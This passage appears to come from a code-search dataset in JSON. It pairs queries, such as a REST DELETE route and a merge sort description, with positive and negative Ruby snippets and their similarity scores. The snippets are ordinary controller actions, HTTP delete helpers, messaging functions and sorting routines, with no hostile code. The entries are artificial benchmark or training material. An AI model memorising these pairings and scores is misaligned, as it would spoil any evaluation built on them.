message_hash)\n message_hash[MESSAGE_ID_KEY] = next_message_id\n\n # Write data to socket.\n EventMachine.next_tick { client.em_connection.write(message_hash) }\n #Actor[:server].write!(client, message_hash)\n end", "title": "" }, { "docid": "9f40ea4af4b2369d214176a075214f5d", "score": "0.5461454", "text": "def send_join channel\n if channel.is_a? Array\n buf = []\n\n channel.each do |c|\n next if channels.include? c\n\n buf << c\n\n if buf.length == 4\n send_join channel.join(',')\n buf.clear\n end\n end\n\n send_join buf.join(',') unless buf.empty?\n elsif channel.is_a? Hash\n buf, keys = [], []\n\n channel.each do |c, k|\n next if channels.include? c\n\n buf << c\n keys << (k.empty? ? k : 'x')\n\n if buf.length == 4\n send_join \"#{buf.join(',')} #{keys.join(',')}\"\n buf.clear\n keys.clear\n end\n end\n send_join \"#{buf.join(',')} #{keys.join(',')}\" unless buf.empty?\n else\n send_command 'JOIN', channel\n end\n end", "title": "" }, { "docid": "a1752d9a8bf5c5190a9a9c89b2c68814", "score": "0.5460123", "text": "def send_batch\n receipients.flatten.each do |rcpt|\n user, password = split_password(rcpt[:user])\n if rcpt[:type] == :user\n send_message(user)\n elsif rcpt[:type] == :group\n send_muc_message(user, password)\n end\n Log.logger.debug(\"Removing item %p from queue\" % rcpt)\n receipients.delete(rcpt)\n end\n end", "title": "" }, { "docid": "bc723a7c6dde22efe5e061b809251395", "score": "0.5459716", "text": "def send_to_client\n \n end", "title": "" }, { "docid": "bd4e01b5d5a1f171634ec728522125ef", "score": "0.54596436", "text": "def index\n @chatrooms = Chatroom.public_channels\n end", "title": "" }, { "docid": "d46814360f8df712faf264894e0f094b", "score": "0.54593384", "text": "def send\n @client.send(self)\n end", "title": "" }, { "docid": "9c8fe19bdc55d44035e0e70ebe11bb59", "score": "0.5455518", "text": "def send_pending_messages\n begin\n while (msg = @pending.pop)\n self.discover_channel_id if !@channel_id\n\n data = \"{\"\n data += %( channel: \"#{@channel_id}\" )\n data += %(, ts: \"#{msg[:from_action].message_ts}\" ) if msg[:from_action]\n data += %(, text: #{msg[:text].to_json} ) if msg[:text]\n data += %(, blocks: #{msg[:blocks]} ) if msg[:blocks]\n data += \"}\"\n\n method = msg[:from_action] ? SLACK_UPDATE_MESSAGE_METHOD : SLACK_POST_MESSAGE_METHOD\n response_data = slack_api(method, SLACK_BOT_TOKEN, data, accept_notok=true)\n \n if response_data['ok'] == false\n # @pending.unshift msg\n break\n end\n\n sleep 0.5 # send up to 2 per second\n end\n rescue => e\n log :error, 'slack sender died', exception: e\n end\n end", "title": "" } ]
d2ac88415a89a6bf99e888f85d1a985d
DELETE /software/1 DELETE /software/1.json
[ { "docid": "4b897dee406e5541550f8149249e9f69", "score": "0.7165515", "text": "def destroy\n @software = Software.find(params[:id])\n @software.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_softwares_path }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "b1a17c1ee1af05c79fe156622df44818", "score": "0.73162013", "text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "e201287788088f3de47a8bc34fac10a3", "score": "0.7271215", "text": "def destroy\n @software = Software.find(params[:software_id])\n @version = @software.versions.find(params[:id])\n @version.destroy\n\n respond_to do |format|\n format.html { redirect_to software_path(@software) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5cb650e69e9814df646b6de477db4b22", "score": "0.7251867", "text": "def destroy\n @software = Software.find(params[:id])\n @software.destroy\n\n respond_to do |format|\n format.html { redirect_to softwares_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "759558c065d4198b05b22167e4039be2", "score": "0.7226777", "text": "def destroy\n @software = Software.find(params[:id])\n @software.destroy\n\n respond_to do |format|\n format.html { redirect_to softwares_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b445c184893647d3482f8fbc6a507a52", "score": "0.7083669", "text": "def delete(path, params = {})\n path += '.json'\n res = @connection.delete(path, @header)\n parse_response(res)\n end", "title": "" }, { "docid": "773e5d611adeb09776f9c841e1b876cc", "score": "0.69772583", "text": "def delete_json(path, params = {}, headers = {})\n json_request(:delete, path, params, headers)\n end", "title": "" }, { "docid": "88bdb4c389e134535d7c80164be2eee0", "score": "0.6972581", "text": "def production_delete(params = {})\n params = params.dup\n production_id = search_hash!(params, :production_id, :productionId, :productionid, :id)\n production_version = search_hash!(params, :production_version, :productionVersion, :productionversion, :version) || 'HEAD'\n #e_tag = search_hash!(params, :e_tag, :ETag, :eTag, :etag)\n #delete(\"content/ea/git/productions/#{production_id}/HEAD.v1.json\", { 'If-Match' => e_tag })\n http_delete(\"content/ea/git/productions/#{production_id}/#{production_version}.v1.json\")\n http.success?\n end", "title": "" }, { "docid": "179ff0053e8f4f967cb3d92206094cf0", "score": "0.6961678", "text": "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "title": "" }, { "docid": "7b9428b05e4d983638797ed501829d98", "score": "0.69209474", "text": "def destroy\n @software = Software.find(params[:id])\n @software.destroy\n\n respond_to do |format|\n format.html { redirect_to(softwares_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "7452c4d15daf08108aaa5a1b728adb31", "score": "0.69043005", "text": "def destroy\n @json.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "bcfd965cda633978f9b546ea49cc10d0", "score": "0.6897243", "text": "def destroy\n @dev_software.destroy\n respond_to do |format|\n format.html { redirect_to dev_softwares_url, notice: 'Dev software was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f9ab274f3a3159c4fa9989acb821b38b", "score": "0.688848", "text": "def destroy\n @orgao_software.destroy\n respond_to do |format|\n format.html { redirect_to orgao_softwares_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.68677855", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.68677855", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.68677855", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "47a3c9c28e1fcd0fcae5ea58416b42bd", "score": "0.684994", "text": "def delete(path)\n api :delete, path\n end", "title": "" }, { "docid": "9106867cee9e8775ba817195d3bc2020", "score": "0.6848865", "text": "def delete_rest(path) \n run_request(:DELETE, create_url(path)) \n end", "title": "" }, { "docid": "57b799133d29316426c358002043baa2", "score": "0.6819925", "text": "def delete_rest(path, headers={}) \n run_request(:DELETE, create_url(path), headers) \n end", "title": "" }, { "docid": "00c90bc63b0302afbbc4b2979ae20b57", "score": "0.68078965", "text": "def api_delete(path, data = {})\n api_request(:delete, path, :data => data).parsed\n end", "title": "" }, { "docid": "c4e0462257f01478714b2999ba8e4a97", "score": "0.68061835", "text": "def destroy\n @i_software.destroy\n respond_to do |format|\n format.html { redirect_to i_softwares_url, notice: 'I software was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7e1079601d5997b4e07d419814b2cfdc", "score": "0.67911947", "text": "def destroy\n @licenca_de_software = LicencaDeSoftware.find(params[:id])\n @licenca_de_software.destroy\n\n respond_to do |format|\n format.html { redirect_to licenca_de_softwares_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "75a785bddc2252b3dfe08070dcb44399", "score": "0.6787405", "text": "def delete(args)\n if args[:json]\n post(args.merge(method: :delete))\n else\n get(args.merge(method: :delete))\n end\n end", "title": "" }, { "docid": "7d4d7deaba74008715791e8466c937d5", "score": "0.67858475", "text": "def destroy\n @peticionsoftware = Peticionsoftware.find(params[:id])\n @peticionsoftware.destroy\n\n respond_to do |format|\n format.html { redirect_to peticionsoftwares_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a34bfda60c936db17c9b71af42d54ded", "score": "0.67777455", "text": "def delete\n # TODO: validate returned json fits schema\n @json = @interface.delete_by_id @json['id']\n end", "title": "" }, { "docid": "ba67ebd85114998e01be10599c8943ca", "score": "0.6770861", "text": "def delete(path)\n RestClient.delete request_base+path\n end", "title": "" }, { "docid": "0e897ad72327afe148c19fe1eed78eb9", "score": "0.6764371", "text": "def destroy\n @f_software.destroy\n respond_to do |format|\n format.html { redirect_to f_softwares_url, notice: 'F software was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9b5dc6682c60f2d98091450a95a94d6f", "score": "0.67560744", "text": "def delete\n Client.delete(\"/kits/#{@id}\")\n end", "title": "" }, { "docid": "6a19ba99f0d1f7225b5ed73fe068136d", "score": "0.673573", "text": "def delete(path, params: {}, headers: {})\n request_json :delete, path, params, headers\n end", "title": "" }, { "docid": "09f6303f18ce5612216026bdd448d644", "score": "0.6731502", "text": "def api_delete(path)\n api_request(Net::HTTP::Delete.new(path))\n end", "title": "" }, { "docid": "174b723f9e43bfa7501a9cdc389e4c1b", "score": "0.67174315", "text": "def delete\n @response = self.class.delete(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\")\n end", "title": "" }, { "docid": "0387aa3c568d857184e97a214e580a14", "score": "0.6707305", "text": "def delete(path, params = {}, payload = {})\n JSON.parse Generic.delete(@base_url, @headers, path, params, payload)\n end", "title": "" }, { "docid": "c1cde2518cb592b6add14fe05ae1b37d", "score": "0.6694998", "text": "def delete\n options = self.to_h \n uri = self.class.path_builder(:delete, self.id)\n data = {}\n data['id'] = self.id \n data = data.to_json\n VivialConnect::Client.instance.make_request('DELETE', uri, data)\n end", "title": "" }, { "docid": "718fd485f95a30a8c897e2403defb29f", "score": "0.6672543", "text": "def delete(path, params={}); make_request(:delete, host, port, path, params); end", "title": "" }, { "docid": "cea1684bf79e2af318fcabc9c4f81b6a", "score": "0.66498846", "text": "def destroy\n @firmware.destroy\n respond_to do |format|\n format.html { redirect_to firmwares_url, notice: 'Firmware was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fdfa5f023a5b91de7150a7231284ceb6", "score": "0.6646594", "text": "def delete(name)\n validate_path_elements(name)\n\n client.request(\n method: :delete,\n path: name,\n expected: 204\n )\n end", "title": "" }, { "docid": "d558879e3a463c8ee58df388cf6024a7", "score": "0.6645555", "text": "def destroy\n @system_requirement.destroy\n respond_to do |format|\n format.html { redirect_to system_requirements_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "822ddea2e45bf78350003645efcbdb54", "score": "0.6644015", "text": "def delete uri, args = {}; Request.new(DELETE, uri, args).execute; end", "title": "" }, { "docid": "3ccd2fbecbaa95071b33c865c59c07fc", "score": "0.66436243", "text": "def delete(*args)\n RubyKong::Request::Api.delete args[0]\n end", "title": "" }, { "docid": "0b24cbc6495df3923ea7679acbcd8deb", "score": "0.66405106", "text": "def delete_floor_plan(args = {}) \n delete(\"/files.json/floorplan/images\", args)\nend", "title": "" }, { "docid": "52e8a1b45571c045a27e72c0df90abb9", "score": "0.6629719", "text": "def destroy\n @hardware = Hardware.find(params[:id])\n @hardware.destroy\n\n respond_to do |format|\n format.html { redirect_to hardwares_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d1a7a33bbcb699d36a01c3b285c1120f", "score": "0.66121495", "text": "def destroy\n @record_software = RecordSoftware.find(params[:id])\n @record_software.destroy\n\n respond_to do |format|\n format.html { redirect_to record_softwares_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "3fa818c92f4c568e1735bcceb5817535", "score": "0.6611478", "text": "def delete(id)\n @client.delete(\"/#{@model}/#{id}\")\n end", "title": "" }, { "docid": "3fa818c92f4c568e1735bcceb5817535", "score": "0.6611478", "text": "def delete(id)\n @client.delete(\"/#{@model}/#{id}\")\n end", "title": "" }, { "docid": "33ae3fbaabb68170de9f95477c22d5d1", "score": "0.6606012", "text": "def delete_json(path)\n retries = 0\n begin\n return resource(path).delete()\n rescue => e\n if e.kind_of?(RestClient::Exception) and e.http_code == 503 and retries < RETRY_503_MAX\n # the G5K REST API sometimes fail with error 503. In that case we should just wait and retry\n puts(\"G5KRest: DELETE #{path} failed with error 503, retrying after #{RETRY_503_SLEEP} seconds\")\n retries += 1\n sleep RETRY_503_SLEEP\n retry\n end\n handle_exception(e)\n end\n end", "title": "" }, { "docid": "c13c7ed02f8ab5cdaece8a7f7c3d023c", "score": "0.6599252", "text": "def destroy\n @hardware.destroy\n respond_to do |format|\n format.html { redirect_to hardwares_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9c8ef0b4313fef9d26c4290371bc530d", "score": "0.65990126", "text": "def delete!\n client.delete(:path => base_path)\n nil\n end", "title": "" }, { "docid": "08f1d67fd257bcc0a94e4f758371ede4", "score": "0.659246", "text": "def destroy\n @software.state = :unapproved\n @software.save\n respond_to do |format|\n format.html { redirect_to softwares_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4c1c164b581dbae14285797e584e8fb7", "score": "0.6586071", "text": "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "title": "" }, { "docid": "43f69cf5ff07945f8ba92790b435a796", "score": "0.6581625", "text": "def destroy\n @software_setup.destroy\n respond_to do |format|\n format.html { redirect_to software_setups_url, notice: 'Software setup was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0049a87d2fbc61c126a4d7cc0fd5a5d3", "score": "0.6573094", "text": "def destroy\n @i_software_inst.destroy\n respond_to do |format|\n format.html { redirect_to i_software_insts_url, notice: 'I software inst was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ff46341d71f9a00c00c6101479ceef0c", "score": "0.6567234", "text": "def rest_delete(path, options = {}, api_ver = @api_version)\n rest_api(:delete, path, options, api_ver)\n end", "title": "" }, { "docid": "ff46341d71f9a00c00c6101479ceef0c", "score": "0.6567234", "text": "def rest_delete(path, options = {}, api_ver = @api_version)\n rest_api(:delete, path, options, api_ver)\n end", "title": "" }, { "docid": "7a0e69d4b1958684e5ebe80d49ead9e9", "score": "0.6566219", "text": "def destroy\n http_api.delete(\"clients/#{@name}\")\n end", "title": "" }, { "docid": "877bd6846b8941b021b37c52fdd42a14", "score": "0.6563843", "text": "def destroy\n @operatingsystem = Operatingsystem.find(params[:id])\n @operatingsystem.destroy\n\n respond_to do |format|\n format.html { redirect_to operatingsystems_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9206c12be0e9315e9442367f39e0b53d", "score": "0.6558063", "text": "def destroy\n @demand.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e3ea90f717278b79d8908e5b537926be", "score": "0.6550957", "text": "def delete(path)\n client.delete(\"/v1/#{encode_path(path)}\")\n return true\n end", "title": "" }, { "docid": "153e58976fdbfa7383392757fbb2a4ab", "score": "0.6548792", "text": "def destroy\n name, type = resource[:name].split('/')\n nameserver = resource[:nameserver]\n nsupdate(\"server #{nameserver}\n update delete #{name}. #{type}\n send\")\n end", "title": "" }, { "docid": "ac6ce581a27e69d0fc21ae3d9c02ce26", "score": "0.6546746", "text": "def delete\n self.class.headers 'Authorization' => \"OAuth #{ENV['sfdc_token']}\"\n self.class.headers 'Content-Type' => \"application/json\"\n response = self.class.delete(SObject.root_url+\"/sobjects/#{@object_name}/#{@Id}\")\n raise response.parsed_response[0]['message'] if response.code.to_i > 299\n nil\n end", "title": "" }, { "docid": "cfea572d114948e2ea084b545c3be8cd", "score": "0.6545209", "text": "def destroy\n request = RestClient.delete File.join(API_SERVER,\"rest-api/departments\",params['id'])\n redirect_to :action => :index\t\n end", "title": "" }, { "docid": "4a21726cde9e0a1a061c3fd5077c38a2", "score": "0.65447044", "text": "def delete_aos_version_box(args = {}) \n delete(\"/aosversions.json/aosversionbox/#{args[:aosVersionBoxId]}\", args)\nend", "title": "" }, { "docid": "9c4b48c08b524a45588714b4a6c46295", "score": "0.65435594", "text": "def do_delete(url)\n response = self.class.delete(url,\n :headers => {'Authorization' => 'Basic',\n 'Accept' => 'application/json', \n 'Content-Type' => 'application/json'})\n end", "title": "" }, { "docid": "7ac9616f9a7353d9bd6e82f364aa4943", "score": "0.6542256", "text": "def delete_mobile_carrier(args = {}) \n delete(\"/mobile.json/#{args[:carrierId]}\", args)\nend", "title": "" }, { "docid": "7ac9616f9a7353d9bd6e82f364aa4943", "score": "0.6542256", "text": "def delete_mobile_carrier(args = {}) \n delete(\"/mobile.json/#{args[:carrierId]}\", args)\nend", "title": "" }, { "docid": "b9ec212f62402c26e0f73d4d5a7d4eca", "score": "0.6539897", "text": "def _delete(path, isD2l = true, headers = {})\n headers[:content_type] = :json\n auth_uri = path\n auth_uri = create_authenticated_uri(path, 'DELETE') if isD2l == true\n RestClient.delete(auth_uri, headers)\nend", "title": "" }, { "docid": "3633e737644dae5f5d8d49f3248f7a12", "score": "0.6537391", "text": "def delete\n api(\"Delete\")\n end", "title": "" }, { "docid": "d13f965399694cdc213843e8702ae8fc", "score": "0.65362525", "text": "def destroy\n @system = System.find(params[:id])\n @system.destroy\n\n respond_to do |format|\n format.html { redirect_to systems_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "f8090ef0e82439e2ebb5141f23aa5093", "score": "0.6525992", "text": "def destroy\n @hardware.destroy\n respond_to do |format|\n format.html { redirect_to hardwares_url, notice: 'Urządzenie zostało usunięte.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c53a7ddfb5f66bdab62b1fc4305a0473", "score": "0.6521751", "text": "def delete *args\n make_request :delete, *args\n end", "title": "" }, { "docid": "2675aa0e2ced04fc9c7de6fc57be6a59", "score": "0.65152955", "text": "def delete(path)\r\n fetch(:path => path, :method => 'DELETE')\r\n end", "title": "" }, { "docid": "264796ff390060c5b3d77cee360adc62", "score": "0.6504394", "text": "def delete(path, model = 'raw')\n request(:delete, path, nil, model)\n end", "title": "" }, { "docid": "a41be49f6458790d5a2d38db09348203", "score": "0.64910346", "text": "def destroy\n require 'net/http'\n require 'json'\n\n # Correct URL for deleting a resource.\n uri = URI(\"http://localhost:3000/students/#{params[:id]}.json\")\n\n request = Net::HTTP::Delete.new uri\n\n # Hitting the endpoint.\n response = Net::HTTP.start uri.hostname, uri.port do |http|\n http.request request\n end\n\n if response.code == '200'\n redirect_to students_path, notice: 'Successfully removed record.'\n else\n redirect_to students_path, notice: 'Failed to delete.'\n end\n end", "title": "" }, { "docid": "8a67da3c0a80239b790a14b51d559de9", "score": "0.64893234", "text": "def destroy\n render json: @api_v1_client if @api_v1_client.destroy\n end", "title": "" }, { "docid": "fe66689e8de3eb1cea39d6503de9bd0c", "score": "0.6484078", "text": "def destroy\n # Destroy dependencies\n @client.destroy\n render json: ''\n end", "title": "" }, { "docid": "784108e333e7b09012f21a5859bb14a3", "score": "0.64765793", "text": "def destroy\n @security_software.destroy\n respond_to do |format|\n format.html { redirect_to security_softwares_url, notice: 'Security software was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9d3132fa4d9f52107547a6a1974a50ab", "score": "0.6472297", "text": "def delete_app name\n try_json delete(\"/app/#{name}\")\n end", "title": "" }, { "docid": "c0e04e7b24575da23f7965e8dad6e32c", "score": "0.6471684", "text": "def delete(path, params = {})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "8213e0d9e671dcb43b07444763b29462", "score": "0.64625293", "text": "def destroy\n @software_category = SoftwareCategory.find(params[:id])\n @software_category.destroy\n\n respond_to do |format|\n format.html { redirect_to software_categories_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2fa0a3656e86962ca1a10fa31aede189", "score": "0.6461812", "text": "def destroy\n @productos_json.destroy\n respond_to do |format|\n format.html { redirect_to productos_jsons_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "419097c1c4a142adaf725a2112822e8e", "score": "0.6461793", "text": "def delete\n request_method('DELETE')\n end", "title": "" }, { "docid": "4e70e9c2b1f973b009d4f47a413c70d7", "score": "0.64499056", "text": "def delete(path)\n require 'dystio/commands/delete'\n Dystio::Commands::Delete.call(path, options)\n end", "title": "" }, { "docid": "5cbd9400cd001af247f9c442e902d68d", "score": "0.6421269", "text": "def delete(path)\n send_request(:delete, :path => path)\n end", "title": "" }, { "docid": "2148e2fd9383c12872890f51efee3615", "score": "0.6419119", "text": "def delete\n begin\n task_id = \"#{@file}\".gsub(/\\.\\/singularity\\//, \"\").gsub(/\\.json/, \"\")\n # delete the request\n RestClient.delete \"#{@uri}/api/requests/request/#{task_id}\"\n puts \"#{task_id} DELETED\"\n rescue\n puts \"#{task_id} #{$!.response}\"\n end\n end", "title": "" }, { "docid": "fbb5a8b2e476b35e2ee04cd6a3d50879", "score": "0.6418261", "text": "def delete(id)\n json = @connection.delete(\"/v_beta/apps/#{id}\")\n end", "title": "" }, { "docid": "910653de222a93394b7c027068703e6e", "score": "0.6416973", "text": "def destroy\n @systatik.destroy\n respond_to do |format|\n format.html { redirect_to systatiks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6c537b3a0008ef6459c518123cbcc9d5", "score": "0.6416583", "text": "def delete(path, params = {})\n request :delete, path, params\n end", "title": "" }, { "docid": "d311a7297b9484b2ecddd399c4de018c", "score": "0.64152163", "text": "def delete!\n API.ensure_auth\n result = post(\"/delete/#{@name}\")\n token = result['delete_token']\n return result unless token\n post(\"/delete/#{@name}\", 'delete_token' => token)\n end", "title": "" }, { "docid": "d7239805cf842f17999af40fc5ee1ee5", "score": "0.6409856", "text": "def destroy\n @dep001.destroy\n respond_to do |format|\n format.html { redirect_to dep001s_url, notice: 'Kitchen item was deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.64066434", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.64066434", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.64066434", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.64066434", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.64066434", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.64066434", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.64066434", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "4100b1ba27a9a751bb11d54b45e1aeb1", "score": "0.640073", "text": "def delete(path);end", "title": "" }, { "docid": "4100b1ba27a9a751bb11d54b45e1aeb1", "score": "0.640073", "text": "def delete(path);end", "title": "" }, { "docid": "6a6aedd4fd14d1804d16885df1e9d68a", "score": "0.63995934", "text": "def delete!(headers=false); call_client(:delete!, headers); end", "title": "" }, { "docid": "173dd819973c8513159cf314e015ec5d", "score": "0.6396336", "text": "def destroy\n @system.destroy\n respond_to do |format|\n format.html { redirect_to systems_url, notice: 'Combination dose was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6bac329c89711953ca6bc8811a7cd45a", "score": "0.6388988", "text": "def delete_app name\n\t\t\tdelete(\"/apps/#{name}.json?token=#{auth_token}\")\n\t\tend", "title": "" }, { "docid": "2cc167dfb420f809148d95d340d117ae", "score": "0.63874924", "text": "def delete(client, name, version, options = {})\n options = options.reverse_merge(purge: false)\n url = \"#{self.resource_path}/#{name}/#{version}\"\n url += \"?purge=true\" if options[:purge]\n\n client.connection.delete(url).body\n true\n rescue Errors::HTTPNotFound\n true\n end", "title": "" } ]
c91e99acb643a77ec9f259a70c764db9
"two sort a list, merge the sorted left half of the list with the sorted right half of the list"
[ { "docid": "6ed4923def0c5206ff0fd73cc37c8369", "score": "0.0", "text": "def merge_sort(ary)\n if ary.size <= 1\n ary\n else\n ary_1 = ary[0...ary.size / 2]\n ary_2 = ary[ary.size / 2...ary.length]\n merge(merge_sort(ary_1), merge_sort(ary_2))\n end\nend", "title": "" } ]
[ { "docid": "abbfce6bca43058bb607ecce60445a02", "score": "0.8230345", "text": "def merge_sort(list)\n return list if list.size < 2\n left = list[0, list.length/2]\n right = list[list.length/2, list.length]\n\n merge(merge_sort(left), merge_sort(right))\nend", "title": "" }, { "docid": "7b2727efc07b9c912ccbdbed2640cd0d", "score": "0.8147744", "text": "def merge_sort(list)\n\n return list if list.size <= 1\n\n half_list = merge_sort(list.slice!(0..(list.size / 2 - 1)))\n other_half_list = merge_sort(list)\n\n sorted = []\n\n until half_list.empty? || other_half_list.empty?\n if half_list[0] < other_half_list[0]\n sorted.push(half_list.shift)\n else\n sorted.push(other_half_list.shift)\n end\n end\n\n sorted.concat(half_list)\n sorted.concat(other_half_list)\n\n sorted\nend", "title": "" }, { "docid": "1672e3e6f7c2c173c00cdaab9597e826", "score": "0.8115328", "text": "def merge_sort(list)\n sorted = []\n if list.size < 2\n return list\n else\n # divide\n left, right = list.each_slice( (list.size/2.0).round ).to_a\n left = merge_sort(left)\n right = merge_sort(right)\n\n # conquer\n until left.empty? || right.empty?\n if left.first < right.first\n sorted << left.shift\n else\n sorted << right.shift\n end\n end\n\n sorted += left unless left.empty?\n sorted += right unless right.empty?\n end\n sorted\nend", "title": "" }, { "docid": "776f71b6e657c33a86675f9e807eefd0", "score": "0.78991723", "text": "def mergesort(list)\n return list if list.size < 2\n left = list[0, list.length / 2]\n right = list[list.length / 2, list.length]\n merge(mergesort(left), mergesort(right))\nend", "title": "" }, { "docid": "b4e876841e5d91c75cfa77dae1d8489b", "score": "0.78088075", "text": "def mergesort(lst)\n if lst.size <= 1\n return lst\n else \n left = mergesort(lst[0...lst.size/2])\n right = mergesort(lst[lst.size/2...lst.size])\n sorted = []\n until left.empty? || right.empty?\n if left[0] <= right[0]\n sorted << left.shift\n else\n sorted << right.shift\n end\n end\n return sorted + left + right\n end\nend", "title": "" }, { "docid": "4c42d69552714361103d83d332ec0558", "score": "0.76841325", "text": "def mergesort(list)\n return list if list.size <= 1\n mid_point = list.size / 2\n left = list[0, mid_point]\n right = list[mid_point, list.size - 1]\n merge(mergesort(left), mergesort(right)) # Recursively breaks up left and right\n # then sends to merge for merging\n end", "title": "" }, { "docid": "e17817b8f72783a6290b36a4e8e4ede5", "score": "0.76564664", "text": "def merge_sort(list)\n return list if list.length <= 1\n mid = (list.length / 2).floor\n left = merge_sort(list[0..mid - 1])\n right = merge_sort(list[mid..list.length])\n merge(left, right)\nend", "title": "" }, { "docid": "734a339e2f60fa0f52fbaec038b94518", "score": "0.765072", "text": "def merge_and_sort!(left, right)\n array = []\n left.first < right.first ? array.push(left.shift) : array.push(right.shift) until left.empty? || right.empty?\n right.empty? ? array.concat(left) : array.concat(right)\n array\nend", "title": "" }, { "docid": "7e917c644462c8b470705074e9c32722", "score": "0.76358515", "text": "def merge_sort(sequence, left, right)\n if left < right\n mid = ((left + right) / 2.0).floor\n inversions_left = merge_sort(sequence, left, mid)[1]\n inversions_right = merge_sort(sequence, mid + 1, right)[1]\n inversions_split = merge_inversions(sequence, left, mid, right)[1]\n [sequence, inversions_left + inversions_right + inversions_split]\n else\n [sequence, 0]\n end\nend", "title": "" }, { "docid": "b5ce6778b0ce7a6dc7cb90dbf864736f", "score": "0.7629547", "text": "def mergesort(sequence, left = 0, right = sequence.size-1)\n if left < right\n mid = ((left + right) / 2.0).floor\n mergesort(sequence, left, mid)\n mergesort(sequence, mid + 1, right)\n merge(sequence, left, mid, right)\n end\nend", "title": "" }, { "docid": "7bcb8b8ccf3c366838019b2292d5a52e", "score": "0.75598305", "text": "def mergesort(list)\n return list if list.size <= 1\n mid = list.size / 2\n left = list[0, mid]\n right = list[mid, list.size]\n merge(mergesort(left), mergesort(right))\nend", "title": "" }, { "docid": "b846a2849760cc0f7ab44e7aaa669f3c", "score": "0.7541793", "text": "def merge(left, right)\n sorted = []\n while [left, right].none?(&:empty?)\n sorted << (left[0] < right[0] ? left.shift : right.shift)\n end\n sorted + left + right\nend", "title": "" }, { "docid": "ccdcb5dc9cb9aaa286013760b5420ca3", "score": "0.7532827", "text": "def merge_sort(lst)\n if lst.length <= 1\n lst\n else\n mid = (lst.length / 2).floor\n left = merge_sort(lst[0..mid - 1])\n right = merge_sort(lst[mid..lst.length])\n merge(left, right)\n end\nend", "title": "" }, { "docid": "434ce87815a8a96d2d86079338d3d8ea", "score": "0.7528253", "text": "def merge_two(sorted, left, center, right)\n if left.empty?\n while [center, right].none?(&:empty?)\n sorted << (center[0] < right[0] ? center.shift : right.shift)\n end\n sorted + center + right\n elsif center.empty?\n while [left, right].none?(&:empty?)\n sorted << (left[0] < right[0] ? left.shift : right.shift)\n end\n sorted + left + right\n else\n while [left, center].none?(&:empty?)\n sorted << (left[0] < center[0] ? left.shift : center.shift)\n end\n sorted + left + center\n end\nend", "title": "" }, { "docid": "ef895a0e4c3483166a103fd7181fe703", "score": "0.75186366", "text": "def merge_sort(list)\n if list.length <= 1\n list\n else\n mid = (list.length / 2).floor\n left = merge_sort(list[0..mid -1])\n right = merge_sort(list[mid..list.length])\n merge(left, right)\n end\nend", "title": "" }, { "docid": "912adc2c164c278fe105a0ee48437d8b", "score": "0.7515498", "text": "def merge(left, right)\n sorted = []\n until [left, right].any?(&:empty?)\n sorted << (left[0] < right[0] ? left.shift 